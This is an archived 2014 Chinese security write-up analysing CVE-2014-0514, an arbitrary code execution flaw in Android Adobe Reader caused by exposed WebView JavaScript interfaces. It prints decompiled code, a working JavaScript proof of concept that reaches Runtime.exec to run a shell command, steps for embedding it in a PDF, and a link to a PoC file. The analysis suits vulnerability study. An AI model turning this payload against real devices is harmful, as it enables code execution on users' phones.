# Android Adobe Reader 任意代码执行分析(附POC)

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2014-04-18T06:05:00Z
Canonical: https://wepostx.com/topics/437

> 乌云历史资料归档
>
> **原始作者：** livers
> **原始编号：** superkieran-wooyundrops:223
> **原始发布时间：** 2014-04-18 14:05
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

## 0x00 描述

前几天老外在fd还有exploit-db上，公布了Adobe Reader任意代码执行的漏洞。
漏洞编号： [CVE: 2014-0514](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0514)
AdobeReader安装量比较大，又和浏览器容器不同，分析一下。
Android Adobe Reader 调用webview的不安全的Javascript interfaces。
导致可以执行任意js代码。具体查看[WebView中接口隐患与手机挂马利用](http://drops.wooyun.org/papers/548)。
影响版本：
理论上Android Adobe Reader 11.2.0之前的版本多存在，Android version 11.1.3成功利用。
我查看了之前的几个版本例如Android Adobe Reader 11.1.2 如下图，问题也应该存在。

![原文图片](/media/2016/06/7cd2eb5237e8e833249309faf0b92d4e)

## 0x01利用

从反编译出来的java代码看

```text
#!java public class ARJavaScript { [...] public ARJavaScript(ARViewerActivity paramARViewerActivity) { [...] this.mWebView.addJavascriptInterface(new ARJavaScriptInterface(this), "_adobereader"); this.mWebView.addJavascriptInterface(new ARJavaScriptApp(this.mContext), "_app"); this.mWebView.addJavascriptInterface(new ARJavaScriptDoc(), "_doc"); this.mWebView.addJavascriptInterface(new ARJavaScriptEScriptString(this.mContext), "_escriptString"); this.mWebView.addJavascriptInterface(new ARJavaScriptEvent(), "_event"); this.mWebView.addJavascriptInterface(new ARJavaScriptField(), "_field"); this.mWebView.setWebViewClient(new ARJavaScript.1(this)); this.mWebView.loadUrl("file:///android_asset/javascript/index.html"); }
```
_adobereader，_app，_doc，_escriptString，_event，_field这几个变量都会存在任意代码执行的问题.
利用代码和之前一样。

```text
#!java function execute(bridge, cmd) { return bridge.getClass().forName('java.lang.Runtime') .getMethod('getRuntime',null).invoke(null,null).exec(cmd); } if(window._app) { try { var path = '/data/data/com.adobe.reader/mobilereader.poc.txt'; execute(window._app, ['/system/bin/sh','-c','echo \"Lorem ipsum\" > ' + path]); window._app.alert(path + ' created', 3); } catch(e) { window._app.alert(e, 0); } }
```
这里不同是构造 恶意的PDF。
首先需要一个PDF编辑器，比如Adobe Acrobat（flash达人pz推荐）.
然后添加表单按钮或者书签等，调用事件添加

![原文图片](/media/2016/06/1989a8ea93138105b4a3f5bfa3240338)

我这里看了下button最好演示，和老外的那个poc一样基本上.
导入到android虚拟机里，打开，成功复现。

![原文图片](/media/2016/06/68a6b999ca32a4078cf054b97792d69b)

## 0x02 扩展

一些网盘或浏览器，看看能否调用adobe reader来预览pdf的应用可能会存在这个漏洞，大部分应用都是直接下载pdf到本地。可以再测试一些能预览pdf的邮箱之类的应用。

## 0x03 修复

新版本的Adobe Reader 11.2.0 [email protected]tInterface，老版本的用户则在adobereader禁用了表单的js执行。 不知道那些杀毒软件能不能检测到这些恶意poc呢 :）
附上[poc.pdf](http://static.wooyun.org/20141017/2014101711445669638.pdf)

## Replies
